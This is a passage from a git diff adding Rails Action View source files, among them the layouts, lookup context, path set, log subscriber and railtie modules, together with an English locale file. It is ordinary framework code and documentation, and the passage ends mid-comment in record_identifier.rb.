+        #   to_form_params(countries: ['Denmark', 'Sweden']})
+        #   # => [{name: 'countries[]', value: 'Denmark'}, {name: 'countries[]', value: 'Sweden'}]
+        #
+        # An optional namespace can be passed to enclose key names:
+        #
+        #   to_form_params({ name: 'Denmark' }, 'country')
+        #   # => [{name: 'country[name]', value: 'Denmark'}]
+        def to_form_params(attribute, namespace = nil)
+          attribute = if attribute.respond_to?(:permitted?)
+            attribute.to_h
+          else
+            attribute
+          end
+
+          params = []
+          case attribute
+          when Hash
+            attribute.each do |key, value|
+              prefix = namespace ? "#{namespace}[#{key}]" : key
+              params.push(*to_form_params(value, prefix))
+            end
+          when Array
+            array_prefix = "#{namespace}[]"
+            attribute.each do |value|
+              params.push(*to_form_params(value, array_prefix))
+            end
+          else
+            params << { name: namespace, value: attribute.to_param }
+          end
+
+          params.sort_by { |pair| pair[:name] }
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb
new file mode 100644
index 0000000000..d074654b49
--- /dev/null
+++ b/actionview/lib/action_view/layouts.rb
@@ -0,0 +1,433 @@
+# frozen_string_literal: true
+
+require_relative "rendering"
+require "active_support/core_ext/module/remove_method"
+
+module ActionView
+  # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+  # repeated setups. The inclusion pattern has pages that look like this:
+  #
+  #   <%= render "shared/header" %>
+  #   Hello World
+  #   <%= render "shared/footer" %>
+  #
+  # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+  # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+  #
+  # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+  # that the header and footer are only mentioned in one place, like this:
+  #
+  #   // The header part of this layout
+  #   <%= yield %>
+  #   // The footer part of this layout
+  #
+  # And then you have content pages that look like this:
+  #
+  #    hello world
+  #
+  # At rendering time, the content page is computed and then inserted in the layout, like this:
+  #
+  #   // The header part of this layout
+  #   hello world
+  #   // The footer part of this layout
+  #
+  # == Accessing shared variables
+  #
+  # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+  # references that won't materialize before rendering time:
+  #
+  #   <h1><%= @page_title %></h1>
+  #   <%= yield %>
+  #
+  # ...and content pages that fulfill these references _at_ rendering time:
+  #
+  #    <% @page_title = "Welcome" %>
+  #    Off-world colonies offers you a chance to start a new life
+  #
+  # The result after rendering is:
+  #
+  #   <h1>Welcome</h1>
+  #   Off-world colonies offers you a chance to start a new life
+  #
+  # == Layout assignment
+  #
+  # You can either specify a layout declaratively (using the #layout class method) or give
+  # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
+  # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
+  #
+  # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
+  # that template will be used for all actions in PostsController and controllers inheriting
+  # from PostsController.
+  #
+  # If you use a module, for instance Weblog::PostsController, you will need a template named
+  # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
+  #
+  # Since all your controllers inherit from ApplicationController, they will use
+  # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
+  # or provided.
+  #
+  # == Inheritance Examples
+  #
+  #   class BankController < ActionController::Base
+  #     # bank.html.erb exists
+  #
+  #   class ExchangeController < BankController
+  #     # exchange.html.erb exists
+  #
+  #   class CurrencyController < BankController
+  #
+  #   class InformationController < BankController
+  #     layout "information"
+  #
+  #   class TellerController < InformationController
+  #     # teller.html.erb exists
+  #
+  #   class EmployeeController < InformationController
+  #     # employee.html.erb exists
+  #     layout nil
+  #
+  #   class VaultController < BankController
+  #     layout :access_level_layout
+  #
+  #   class TillController < BankController
+  #     layout false
+  #
+  # In these examples, we have three implicit lookup scenarios:
+  # * The +BankController+ uses the "bank" layout.
+  # * The +ExchangeController+ uses the "exchange" layout.
+  # * The +CurrencyController+ inherits the layout from BankController.
+  #
+  # However, when a layout is explicitly set, the explicitly set layout wins:
+  # * The +InformationController+ uses the "information" layout, explicitly set.
+  # * The +TellerController+ also uses the "information" layout, because the parent explicitly set it.
+  # * The +EmployeeController+ uses the "employee" layout, because it set the layout to +nil+, resetting the parent configuration.
+  # * The +VaultController+ chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
+  # * The +TillController+ does not use a layout at all.
+  #
+  # == Types of layouts
+  #
+  # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+  # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+  # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+  #
+  # The method reference is the preferred approach to variable layouts and is used like this:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout :writers_and_readers
+  #
+  #     def index
+  #       # fetching posts
+  #     end
+  #
+  #     private
+  #       def writers_and_readers
+  #         logged_in? ? "writer_layout" : "reader_layout"
+  #       end
+  #   end
+  #
+  # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+  # is logged in or not.
+  #
+  # If you want to use an inline method, such as a proc, do something like this:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+  #   end
+  #
+  # If an argument isn't given to the proc, it's evaluated in the context of
+  # the current controller anyway.
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout proc { logged_in? ? "writer_layout" : "reader_layout" }
+  #   end
+  #
+  # Of course, the most common way of specifying a layout is still just as a plain template name:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard"
+  #   end
+  #
+  # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+  # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+  #
+  # Setting the layout to +nil+ forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+  # Setting it to +nil+ is useful to re-enable template lookup overriding a previous configuration set in the parent:
+  #
+  #     class ApplicationController < ActionController::Base
+  #       layout "application"
+  #     end
+  #
+  #     class PostsController < ApplicationController
+  #       # Will use "application" layout
+  #     end
+  #
+  #     class CommentsController < ApplicationController
+  #       # Will search for "comments" layout and fallback "application" layout
+  #       layout nil
+  #     end
+  #
+  # == Conditional layouts
+  #
+  # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+  # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+  # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard", except: :rss
+  #
+  #     # ...
+  #
+  #   end
+  #
+  # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
+  # be rendered directly, without wrapping a layout around the rendered view.
+  #
+  # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+  # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
+  #
+  # == Using a different layout in the action render call
+  #
+  # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+  # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+  # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout "weblog_standard"
+  #
+  #     def help
+  #       render action: "help", layout: "help"
+  #     end
+  #   end
+  #
+  # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
+  module Layouts
+    extend ActiveSupport::Concern
+
+    include ActionView::Rendering
+
+    included do
+      class_attribute :_layout, instance_accessor: false
+      class_attribute :_layout_conditions, instance_accessor: false, default: {}
+
+      _write_layout_method
+    end
+
+    delegate :_layout_conditions, to: :class
+
+    module ClassMethods
+      def inherited(klass) # :nodoc:
+        super
+        klass._write_layout_method
+      end
+
+      # This module is mixed in if layout conditions are provided. This means
+      # that if no layout conditions are used, this method is not used
+      module LayoutConditions # :nodoc:
+        private
+
+          # Determines whether the current action has a layout definition by
+          # checking the action name against the :only and :except conditions
+          # set by the <tt>layout</tt> method.
+          #
+          # ==== Returns
+          # * <tt>Boolean</tt> - True if the action has a layout definition, false otherwise.
+          def _conditional_layout?
+            return unless super
+
+            conditions = _layout_conditions
+
+            if only = conditions[:only]
+              only.include?(action_name)
+            elsif except = conditions[:except]
+              !except.include?(action_name)
+            else
+              true
+            end
+          end
+      end
+
+      # Specify the layout to use for this class.
+      #
+      # If the specified layout is a:
+      # String:: the String is the template name
+      # Symbol:: call the method specified by the symbol
+      # Proc::   call the passed Proc
+      # false::  There is no layout
+      # true::   raise an ArgumentError
+      # nil::    Force default layout behavior with inheritance
+      #
+      # Return value of +Proc+ and +Symbol+ arguments should be +String+, +false+, +true+ or +nil+
+      # with the same meaning as described above.
+      # ==== Parameters
+      # * <tt>layout</tt> - The layout to use.
+      #
+      # ==== Options (conditions)
+      # * :only   - A list of actions to apply this layout to.
+      # * :except - Apply this layout to all actions but this one.
+      def layout(layout, conditions = {})
+        include LayoutConditions unless conditions.empty?
+
+        conditions.each { |k, v| conditions[k] = Array(v).map(&:to_s) }
+        self._layout_conditions = conditions
+
+        self._layout = layout
+        _write_layout_method
+      end
+
+      # Creates a _layout method to be called by _default_layout .
+      #
+      # If a layout is not explicitly mentioned then look for a layout with the controller's name.
+      # if nothing is found then try same procedure to find super class's layout.
+      def _write_layout_method # :nodoc:
+        remove_possible_method(:_layout)
+
+        prefixes = /\blayouts/.match?(_implied_layout_name) ? [] : ["layouts"]
+        default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}, false, [], { formats: formats }).first || super"
+        name_clause = if name
+          default_behavior
+        else
+          <<-RUBY
+            super
+          RUBY
+        end
+
+        layout_definition = \
+          case _layout
+          when String
+            _layout.inspect
+          when Symbol
+            <<-RUBY
+              #{_layout}.tap do |layout|
+                return #{default_behavior} if layout.nil?
+                unless layout.is_a?(String) || !layout
+                  raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
+                    "should have returned a String, false, or nil"
+                end
+              end
+            RUBY
+          when Proc
+            define_method :_layout_from_proc, &_layout
+            protected :_layout_from_proc
+            <<-RUBY
+              result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
+              return #{default_behavior} if result.nil?
+              result
+            RUBY
+          when false
+            nil
+          when true
+            raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
+          when nil
+            name_clause
+          end
+
+        class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def _layout(formats)
+            if _conditional_layout?
+              #{layout_definition}
+            else
+              #{name_clause}
+            end
+          end
+          private :_layout
+        RUBY
+      end
+
+      private
+
+        # If no layout is supplied, look for a template named the return
+        # value of this method.
+        #
+        # ==== Returns
+        # * <tt>String</tt> - A template name
+        def _implied_layout_name
+          controller_path
+        end
+    end
+
+    def _normalize_options(options) # :nodoc:
+      super
+
+      if _include_layout?(options)
+        layout = options.delete(:layout) { :default }
+        options[:layout] = _layout_for_option(layout)
+      end
+    end
+
+    attr_internal_writer :action_has_layout
+
+    def initialize(*) # :nodoc:
+      @_action_has_layout = true
+      super
+    end
+
+    # Controls whether an action should be rendered using a layout.
+    # If you want to disable any <tt>layout</tt> settings for the
+    # current action so that it is rendered without a layout then
+    # either override this method in your controller to return false
+    # for that action or set the <tt>action_has_layout</tt> attribute
+    # to false before rendering.
+    def action_has_layout?
+      @_action_has_layout
+    end
+
+  private
+
+    def _conditional_layout?
+      true
+    end
+
+    # This will be overwritten by _write_layout_method
+    def _layout(*); end
+
+    # Determine the layout for a given name, taking into account the name type.
+    #
+    # ==== Parameters
+    # * <tt>name</tt> - The name of the template
+    def _layout_for_option(name)
+      case name
+      when String     then _normalize_layout(name)
+      when Proc       then name
+      when true       then Proc.new { |formats| _default_layout(formats, true)  }
+      when :default   then Proc.new { |formats| _default_layout(formats, false) }
+      when false, nil then nil
+      else
+        raise ArgumentError,
+          "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
+      end
+    end
+
+    def _normalize_layout(value)
+      value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+    end
+
+    # Returns the default layout for this controller.
+    # Optionally raises an exception if the layout could not be found.
+    #
+    # ==== Parameters
+    # * <tt>formats</tt> - The formats accepted to this layout
+    # * <tt>require_layout</tt> - If set to +true+ and layout is not found,
+    #   an +ArgumentError+ exception is raised (defaults to +false+)
+    #
+    # ==== Returns
+    # * <tt>template</tt> - The template object for the default layout (or +nil+)
+    def _default_layout(formats, require_layout = false)
+      begin
+        value = _layout(formats) if action_has_layout?
+      rescue NameError => e
+        raise e, "Could not render layout: #{e.message}"
+      end
+
+      if require_layout && action_has_layout? && !value
+        raise ArgumentError,
+          "There was no default layout for #{self.class} in #{view_paths.inspect}"
+      end
+
+      _normalize_layout(value)
+    end
+
+    def _include_layout?(options)
+      (options.keys & [:body, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
+    end
+  end
+end
diff --git a/actionview/lib/action_view/locale/en.yml b/actionview/lib/action_view/locale/en.yml
new file mode 100644
index 0000000000..8a56f147b8
--- /dev/null
+++ b/actionview/lib/action_view/locale/en.yml
@@ -0,0 +1,56 @@
+"en":
+  # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
+  datetime:
+    distance_in_words:
+      half_a_minute: "half a minute"
+      less_than_x_seconds:
+        one:   "less than 1 second"
+        other: "less than %{count} seconds"
+      x_seconds:
+        one:   "1 second"
+        other: "%{count} seconds"
+      less_than_x_minutes:
+        one:   "less than a minute"
+        other: "less than %{count} minutes"
+      x_minutes:
+        one:   "1 minute"
+        other: "%{count} minutes"
+      about_x_hours:
+        one:   "about 1 hour"
+        other: "about %{count} hours"
+      x_days:
+        one:   "1 day"
+        other: "%{count} days"
+      about_x_months:
+        one:   "about 1 month"
+        other: "about %{count} months"
+      x_months:
+        one:   "1 month"
+        other: "%{count} months"
+      about_x_years:
+        one:   "about 1 year"
+        other: "about %{count} years"
+      over_x_years:
+        one:   "over 1 year"
+        other: "over %{count} years"
+      almost_x_years:
+        one:   "almost 1 year"
+        other: "almost %{count} years"
+    prompts:
+      year:   "Year"
+      month:  "Month"
+      day:    "Day"
+      hour:   "Hour"
+      minute: "Minute"
+      second: "Seconds"
+
+  helpers:
+    select:
+      # Default value for :prompt => true in FormOptionsHelper
+      prompt: "Please select"
+
+    # Default translation keys for submit and button FormHelper
+    submit:
+      create: 'Create %{model}'
+      update: 'Update %{model}'
+      submit: 'Save %{model}'
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
new file mode 100644
index 0000000000..d4ac77e10f
--- /dev/null
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require "active_support/log_subscriber"
+
+module ActionView
+  # = Action View Log Subscriber
+  #
+  # Provides functionality so that Rails can output logs from Action View.
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    VIEWS_PATTERN = /^app\/views\//
+
+    def initialize
+      @root = nil
+      super
+    end
+
+    def render_template(event)
+      info do
+        message = "  Rendered #{from_rails_root(event.payload[:identifier])}".dup
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " (#{event.duration.round(1)}ms)"
+      end
+    end
+
+    def render_partial(event)
+      info do
+        message = "  Rendered #{from_rails_root(event.payload[:identifier])}".dup
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " (#{event.duration.round(1)}ms)"
+        message << " #{cache_message(event.payload)}" unless event.payload[:cache_hit].nil?
+        message
+      end
+    end
+
+    def render_collection(event)
+      identifier = event.payload[:identifier] || "templates"
+
+      info do
+        "  Rendered collection of #{from_rails_root(identifier)}" \
+        " #{render_count(event.payload)} (#{event.duration.round(1)}ms)"
+      end
+    end
+
+    def start(name, id, payload)
+      if name == "render_template.action_view"
+        log_rendering_start(payload)
+      end
+
+      super
+    end
+
+    def logger
+      ActionView::Base.logger
+    end
+
+  private
+
+    EMPTY = ""
+    def from_rails_root(string) # :doc:
+      string = string.sub(rails_root, EMPTY)
+      string.sub!(VIEWS_PATTERN, EMPTY)
+      string
+    end
+
+    def rails_root # :doc:
+      @root ||= "#{Rails.root}/"
+    end
+
+    def render_count(payload) # :doc:
+      if payload[:cache_hits]
+        "[#{payload[:cache_hits]} / #{payload[:count]} cache hits]"
+      else
+        "[#{payload[:count]} times]"
+      end
+    end
+
+    def cache_message(payload) # :doc:
+      case payload[:cache_hit]
+      when :hit
+        "[cache hit]"
+      when :miss
+        "[cache miss]"
+      end
+    end
+
+    def log_rendering_start(payload)
+      info do
+        message = "  Rendering #{from_rails_root(payload[:identifier])}".dup
+        message << " within #{from_rails_root(payload[:layout])}" if payload[:layout]
+        message
+      end
+    end
+  end
+end
+
+ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
new file mode 100644
index 0000000000..acc0f57f1d
--- /dev/null
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -0,0 +1,274 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require "active_support/core_ext/module/remove_method"
+require "active_support/core_ext/module/attribute_accessors"
+require_relative "template/resolver"
+
+module ActionView
+  # = Action View Lookup Context
+  #
+  # <tt>LookupContext</tt> is the object responsible for holding all information
+  # required for looking up templates, i.e. view paths and details.
+  # <tt>LookupContext</tt> is also responsible for generating a key, given to
+  # view paths, used in the resolver cache lookup. Since this key is generated
+  # only once during the request, it speeds up all cache accesses.
+  class LookupContext #:nodoc:
+    attr_accessor :prefixes, :rendered_format
+
+    mattr_accessor :fallbacks, default: FallbackFileSystemResolver.instances
+
+    mattr_accessor :registered_details, default: []
+
+    def self.register_detail(name, &block)
+      registered_details << name
+      Accessors::DEFAULT_PROCS[name] = block
+
+      Accessors.send :define_method, :"default_#{name}", &block
+      Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{name}
+          @details.fetch(:#{name}, [])
+        end
+
+        def #{name}=(value)
+          value = value.present? ? Array(value) : default_#{name}
+          _set_detail(:#{name}, value) if value != @details[:#{name}]
+        end
+      METHOD
+    end
+
+    # Holds accessors for the registered details.
+    module Accessors #:nodoc:
+      DEFAULT_PROCS = {}
+    end
+
+    register_detail(:locale) do
+      locales = [I18n.locale]
+      locales.concat(I18n.fallbacks[I18n.locale]) if I18n.respond_to? :fallbacks
+      locales << I18n.default_locale
+      locales.uniq!
+      locales
+    end
+    register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css,  :xml, :json] }
+    register_detail(:variants) { [] }
+    register_detail(:handlers) { Template::Handlers.extensions }
+
+    class DetailsKey #:nodoc:
+      alias :eql? :equal?
+
+      @details_keys = Concurrent::Map.new
+
+      def self.get(details)
+        if details[:formats]
+          details = details.dup
+          details[:formats] &= Template::Types.symbols
+        end
+        @details_keys[details] ||= Concurrent::Map.new
+      end
+
+      def self.clear
+        @details_keys.clear
+      end
+
+      def self.digest_caches
+        @details_keys.values
+      end
+    end
+
+    # Add caching behavior on top of Details.
+    module DetailsCache
+      attr_accessor :cache
+
+      # Calculate the details key. Remove the handlers from calculation to improve performance
+      # since the user cannot modify it explicitly.
+      def details_key #:nodoc:
+        @details_key ||= DetailsKey.get(@details) if @cache
+      end
+
+      # Temporary skip passing the details_key forward.
+      def disable_cache
+        old_value, @cache = @cache, false
+        yield
+      ensure
+        @cache = old_value
+      end
+
+    private
+
+      def _set_detail(key, value) # :doc:
+        @details = @details.dup if @details_key
+        @details_key = nil
+        @details[key] = value
+      end
+    end
+
+    # Helpers related to template lookup using the lookup context information.
+    module ViewPaths
+      attr_reader :view_paths, :html_fallback_for_js
+
+      # Whenever setting view paths, makes a copy so that we can manipulate them in
+      # instance objects as we wish.
+      def view_paths=(paths)
+        @view_paths = ActionView::PathSet.new(Array(paths))
+      end
+
+      def find(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+      alias :find_template :find
+
+      def find_file(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+
+      def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+        @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+
+      def exists?(name, prefixes = [], partial = false, keys = [], **options)
+        @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
+      end
+      alias :template_exists? :exists?
+
+      def any?(name, prefixes = [], partial = false)
+        @view_paths.exists?(*args_for_any(name, prefixes, partial))
+      end
+      alias :any_templates? :any?
+
+      # Adds fallbacks to the view paths. Useful in cases when you are rendering
+      # a :file.
+      def with_fallbacks
+        added_resolvers = 0
+        self.class.fallbacks.each do |resolver|
+          next if view_paths.include?(resolver)
+          view_paths.push(resolver)
+          added_resolvers += 1
+        end
+        yield
+      ensure
+        added_resolvers.times { view_paths.pop }
+      end
+
+    private
+
+      def args_for_lookup(name, prefixes, partial, keys, details_options)
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for(details_options)
+        [name, prefixes, partial || false, details, details_key, keys]
+      end
+
+      # Compute details hash and key according to user options (e.g. passed from #render).
+      def detail_args_for(options) # :doc:
+        return @details, details_key if options.empty? # most common path.
+        user_details = @details.merge(options)
+
+        if @cache
+          details_key = DetailsKey.get(user_details)
+        else
+          details_key = nil
+        end
+
+        [user_details, details_key]
+      end
+
+      def args_for_any(name, prefixes, partial)
+        name, prefixes = normalize_name(name, prefixes)
+        details, details_key = detail_args_for_any
+        [name, prefixes, partial || false, details, details_key]
+      end
+
+      def detail_args_for_any
+        @detail_args_for_any ||= begin
+          details = {}
+
+          registered_details.each do |k|
+            if k == :variants
+              details[k] = :any
+            else
+              details[k] = Accessors::DEFAULT_PROCS[k].call
+            end
+          end
+
+          if @cache
+            [details, DetailsKey.get(details)]
+          else
+            [details, nil]
+          end
+        end
+      end
+
+      # Support legacy foo.erb names even though we now ignore .erb
+      # as well as incorrectly putting part of the path in the template
+      # name instead of the prefix.
+      def normalize_name(name, prefixes)
+        prefixes = prefixes.presence
+        parts    = name.to_s.split("/".freeze)
+        parts.shift if parts.first.empty?
+        name = parts.pop
+
+        return name, prefixes || [""] if parts.empty?
+
+        parts    = parts.join("/".freeze)
+        prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
+
+        return name, prefixes
+      end
+    end
+
+    include Accessors
+    include DetailsCache
+    include ViewPaths
+
+    def initialize(view_paths, details = {}, prefixes = [])
+      @details_key = nil
+      @cache = true
+      @prefixes = prefixes
+      @rendered_format = nil
+
+      @details = initialize_details({}, details)
+      self.view_paths = view_paths
+    end
+
+    def digest_cache
+      details_key
+    end
+
+    def initialize_details(target, details)
+      registered_details.each do |k|
+        target[k] = details[k] || Accessors::DEFAULT_PROCS[k].call
+      end
+      target
+    end
+    private :initialize_details
+
+    # Override formats= to expand ["*/*"] values and automatically
+    # add :html as fallback to :js.
+    def formats=(values)
+      if values
+        values.concat(default_formats) if values.delete "*/*".freeze
+        if values == [:js]
+          values << :html
+          @html_fallback_for_js = true
+        end
+      end
+      super(values)
+    end
+
+    # Override locale to return a symbol instead of array.
+    def locale
+      @details[:locale].first
+    end
+
+    # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+    # to original_config, it means that it has a copy of the original I18n configuration and it's
+    # acting as proxy, which we need to skip.
+    def locale=(value)
+      if value
+        config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+        config.locale = value
+      end
+
+      super(default_locale)
+    end
+  end
+end
diff --git a/actionview/lib/action_view/model_naming.rb b/actionview/lib/action_view/model_naming.rb
new file mode 100644
index 0000000000..23cca8d607
--- /dev/null
+++ b/actionview/lib/action_view/model_naming.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module ActionView
+  module ModelNaming #:nodoc:
+    # Converts the given object to an ActiveModel compliant one.
+    def convert_to_model(object)
+      object.respond_to?(:to_model) ? object.to_model : object
+    end
+
+    def model_name_from_record_or_class(record_or_class)
+      convert_to_model(record_or_class).model_name
+    end
+  end
+end
diff --git a/actionview/lib/action_view/path_set.rb b/actionview/lib/action_view/path_set.rb
new file mode 100644
index 0000000000..691b53e2da
--- /dev/null
+++ b/actionview/lib/action_view/path_set.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+module ActionView #:nodoc:
+  # = Action View PathSet
+  #
+  # This class is used to store and access paths in Action View. A number of
+  # operations are defined so that you can search among the paths in this
+  # set and also perform operations on other +PathSet+ objects.
+  #
+  # A +LookupContext+ will use a +PathSet+ to store the paths in its context.
+  class PathSet #:nodoc:
+    include Enumerable
+
+    attr_reader :paths
+
+    delegate :[], :include?, :pop, :size, :each, to: :paths
+
+    def initialize(paths = [])
+      @paths = typecast paths
+    end
+
+    def initialize_copy(other)
+      @paths = other.paths.dup
+      self
+    end
+
+    def to_ary
+      paths.dup
+    end
+
+    def compact
+      PathSet.new paths.compact
+    end
+
+    def +(array)
+      PathSet.new(paths + array)
+    end
+
+    %w(<< concat push insert unshift).each do |method|
+      class_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{method}(*args)
+          paths.#{method}(*typecast(args))
+        end
+      METHOD
+    end
+
+    def find(*args)
+      find_all(*args).first || raise(MissingTemplate.new(self, *args))
+    end
+
+    def find_file(path, prefixes = [], *args)
+      _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
+    end
+
+    def find_all(path, prefixes = [], *args)
+      _find_all path, prefixes, args, false
+    end
+
+    def exists?(path, prefixes, *args)
+      find_all(path, prefixes, *args).any?
+    end
+
+    def find_all_with_query(query) # :nodoc:
+      paths.each do |resolver|
+        templates = resolver.find_all_with_query(query)
+        return templates unless templates.empty?
+      end
+
+      []
+    end
+
+    private
+
+      def _find_all(path, prefixes, args, outside_app)
+        prefixes = [prefixes] if String === prefixes
+        prefixes.each do |prefix|
+          paths.each do |resolver|
+            if outside_app
+              templates = resolver.find_all_anywhere(path, prefix, *args)
+            else
+              templates = resolver.find_all(path, prefix, *args)
+            end
+            return templates unless templates.empty?
+          end
+        end
+        []
+      end
+
+      def typecast(paths)
+        paths.map do |path|
+          case path
+          when Pathname, String
+            OptimizedFileSystemResolver.new path.to_s
+          else
+            path
+          end
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
new file mode 100644
index 0000000000..b22347c55c
--- /dev/null
+++ b/actionview/lib/action_view/railtie.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "action_view"
+require "rails"
+
+module ActionView
+  # = Action View Railtie
+  class Railtie < Rails::Engine # :nodoc:
+    config.action_view = ActiveSupport::OrderedOptions.new
+    config.action_view.embed_authenticity_token_in_remote_forms = nil
+    config.action_view.debug_missing_translation = true
+
+    config.eager_load_namespaces << ActionView
+
+    initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
+      ActiveSupport.on_load(:action_view) do
+        ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+          app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+      end
+    end
+
+    initializer "action_view.form_with_generates_remote_forms" do |app|
+      ActiveSupport.on_load(:action_view) do
+        form_with_generates_remote_forms = app.config.action_view.delete(:form_with_generates_remote_forms)
+        unless form_with_generates_remote_forms.nil?
+          ActionView::Helpers::FormHelper.form_with_generates_remote_forms = form_with_generates_remote_forms
+        end
+      end
+    end
+
+    initializer "action_view.logger" do
+      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+    end
+
+    initializer "action_view.set_configs" do |app|
+      ActiveSupport.on_load(:action_view) do
+        app.config.action_view.each do |k, v|
+          send "#{k}=", v
+        end
+      end
+    end
+
+    initializer "action_view.caching" do |app|
+      ActiveSupport.on_load(:action_view) do
+        if app.config.action_view.cache_template_loading.nil?
+          ActionView::Resolver.caching = app.config.cache_classes
+        end
+      end
+    end
+
+    initializer "action_view.per_request_digest_cache" do |app|
+      ActiveSupport.on_load(:action_view) do
+        unless ActionView::Resolver.caching?
+          app.executor.to_run ActionView::Digestor::PerExecutionDigestCacheExpiry
+        end
+      end
+    end
+
+    initializer "action_view.setup_action_pack" do |app|
+      ActiveSupport.on_load(:action_controller) do
+        ActionView::RoutingUrlFor.include(ActionDispatch::Routing::UrlFor)
+      end
+    end
+
+    initializer "action_view.collection_caching", after: "action_controller.set_configs" do |app|
+      PartialRenderer.collection_cache = app.config.action_controller.cache_store
+    end
+
+    rake_tasks do |app|
+      unless app.config.api_only
+        load "action_view/tasks/cache_digests.rake"
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb
new file mode 100644
index 0000000000..b34a793c89
--- /dev/null
+++ b/actionview/lib/action_view/record_identifier.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module"
+require_relative "model_naming"
+
+module ActionView
+  # RecordIdentifier encapsulates methods used by various ActionView helpers
+  # to associate records with DOM elements.
+  #
+  # Consider for example the following code that form of post:
+  #
+  #   <%= form_for(post) do |f| %>
+  #     <%= f.text_field :body %>
+  #   <% end %>
+  #
+  # When +post+ is a new, unsaved ActiveRecord::Base instance, the resulting HTML
+  # is:
+  #
+  #    <form class="new_post" id="new_post" action="/posts" accept-charset="UTF-8" method="post">
+  #      <input type="text" name="post[body]" id="post_body" />
+  #    </form>
+  #
+  # When +post+ is a persisted ActiveRecord::Base instance, the resulting HTML
+  # is:
+  #
+  #   <form class="edit_post" id="edit_post_42" action="/posts/42" accept-charset="UTF-8" method="post">
